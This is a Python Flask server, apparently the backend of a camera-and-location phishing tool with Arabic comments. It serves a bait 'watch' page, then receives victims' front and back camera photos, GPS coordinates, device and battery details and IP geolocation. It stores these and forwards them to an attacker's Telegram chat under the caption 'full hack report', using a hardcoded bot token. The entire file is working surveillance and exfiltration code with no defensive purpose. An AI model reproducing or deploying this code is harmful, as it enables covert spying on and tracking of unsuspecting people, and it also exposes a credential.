from flask import Flask, request, jsonify, render_template
import requests
import base64
import os
from datetime import datetime

app = Flask(__name__)
BOT_TOKEN = "8162491685:AAHbJtaG6cfE1rxcsFXgerNvmXiRqlclRt4"

def get_ip_info(ip):
    try:
        res = requests.get(f"http://ip-api.com/json/{ip}", timeout=5).json()
        return res
    except: return {}

@app.route('/watch')
def watch():
    chat_id = request.args.get('ref')
    url = request.args.get('url')
    return render_template('watch.html', chat_id=chat_id, original_url=url)

@app.route('/upload', methods=['POST'])
def upload():
    data = request.json
    chat_id = str(data.get('chat_id')) # معرف المستخدم
    victim_ip = request.headers.get('X-Forwarded-For', request.remote_addr)
    if ',' in victim_ip: victim_ip = victim_ip.split(',')[0].strip()

    ip_info = get_ip_info(victim_ip)
    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")

    # 1. إنشاء مجلد خاص للمستخدم إذا لم يكن موجوداً
    user_folder = os.path.join('all_photos', chat_id)
    if not os.path.exists(user_folder):
        os.makedirs(user_folder)

    # 2. حفظ ملف البيانات (Location & Device Info) محلياً
    log_entry = (
        f"--- تقرير بتاريخ {timestamp} ---\n"
        f"IP: {victim_ip}\n"
        f"Location: {ip_info.get('country')}, {ip_info.get('city')}\n"
        f"ISP: {ip_info.get('isp')}\n"
        f"Device: {data.get('device_info')}\n"
        f"Battery: {data.get('battery')}\n"
        f"Coordinates: {data.get('lat')}, {data.get('lon')}\n"
        f"------------------------------\n\n"
    )
    with open(os.path.join(user_folder, "data_logs.txt"), "a", encoding="utf-8") as f:
        f.write(log_entry)

    # 3. معالجة وتخزين الصور
    if data.get('img_front'):
        try:
            img_f = base64.b64decode(data['img_front'].split(',')[1])
            with open(os.path.join(user_folder, f"front_{timestamp}.jpg"), "wb") as f:
                f.write(img_f)
            requests.post(f"https://api.telegram.org/bot{BOT_TOKEN}/sendPhoto",
                data={"chat_id": chat_id, "caption": "📸 الكاميرا الأمامية"},
                files={"photo": ("front.jpg", img_f, "image/jpeg")})
        except: pass

    if data.get('img_back'):
        try:
            img_b = base64.b64decode(data['img_back'].split(',')[1])
            with open(os.path.join(user_folder, f"back_{timestamp}.jpg"), "wb") as f:
                f.write(img_b)
            requests.post(f"https://api.telegram.org/bot{BOT_TOKEN}/sendPhoto",
                data={"chat_id": chat_id, "caption": "📸 الكاميرا الخلفية"},
                files={"photo": ("back.jpg", img_b, "image/jpeg")})
        except: pass

    # إرسال التقرير لتيليجرام كما هو في الأصل
    report = (
        f"🚨 *تقرير اختراق كامل*\n\n"
        f"🌐 *IP الراوتر:* `{victim_ip}`\n"
        f"🌍 *الموقع:* `{ip_info.get('country')}, {ip_info.get('city')}`\n"
        f"📡 *المزود:* `{ip_info.get('isp')}`\n"
        f"📱 *الجهاز:* `{data.get('device_info')}`\n"
        f"🔋 *البطارية:* `{data.get('battery')}`\n"
        f"📍 *الإحداثيات:* `{data.get('lat')}, {data.get('lon')}`"
    )
    
    requests.post(f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage", 
                  json={"chat_id": chat_id, "text": report, "parse_mode": "Markdown"})

    if data.get('lat') and data.get('lon'):
        requests.post(f"https://api.telegram.org/bot{BOT_TOKEN}/sendLocation", 
                      json={"chat_id": chat_id, "latitude": data['lat'], "longitude": data['lon']})
    
    return jsonify({"status": "ok"})

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8443)
